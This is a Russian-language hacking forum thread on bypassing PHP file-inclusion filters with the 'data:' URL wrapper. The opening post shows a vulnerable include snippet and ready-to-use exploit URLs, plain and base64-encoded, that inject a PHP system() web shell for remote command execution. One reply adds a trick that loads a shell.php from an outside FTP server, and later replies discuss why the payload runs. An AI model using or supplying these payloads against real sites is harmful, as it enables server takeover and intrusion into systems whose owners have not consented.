Начиная с версии 5.2.0, PHP поддерживает "data" URL scheme (http://ru.php.net/manual/ru/wrappers.data.php), что иногда можно использовать для обхода некоторой фильтрации при RFI. Например, мы имеем код: Code: <? // Фильтруется возможность перехода в другие дириктории // и возможность вписать URL: $dir = str_replace('/', '', $dir); $dir = str_replace('.', '', $dir); if (include($dir . '/lala/file.php')) { echo 'Heck!'; } else { echo 'Error!'; } ?> Для эксплуатации требуется: Code: PHP Version => 5.2.0 allow_url_include = On Эксплоит: Code: http://site.ru/index2.php?dir=data:,<?php system($_GET[c]); ?>?&c=dir Код шелла можно кодировать в Base64, подобрав его таким образом, чтобы в результате он не содержал символов '/', '+'. <?php system($_GET[c]); ?> кодируется в PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4= Эксплоит: Code: http://site.ru/index2.php?dir=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir [*] Не нужно заливать файл на сторонний сервер как при обычном RFI. [+] Можно обойти фильтрацию некоторых символов. [-] Не обходит file_exist().
Просто отлично! Минус "Не обходит file_exist()" при этой версии PHP устраняется путём уже известного трюка "ftp://greatxek:[email protected]/shell.php"
Что то я не понял в чем прикол... <?php system($_GET[c]); ?> выполниться чтоли в таком случае? Почему так? работает только при инклюде? при простых file(), file_get_contents() и readfile() не имеет смысла?
Собственно, с этим способом и сравнивалось. В трюке с фтп ведь отсутствует тот "+", что есть в предложенном способе.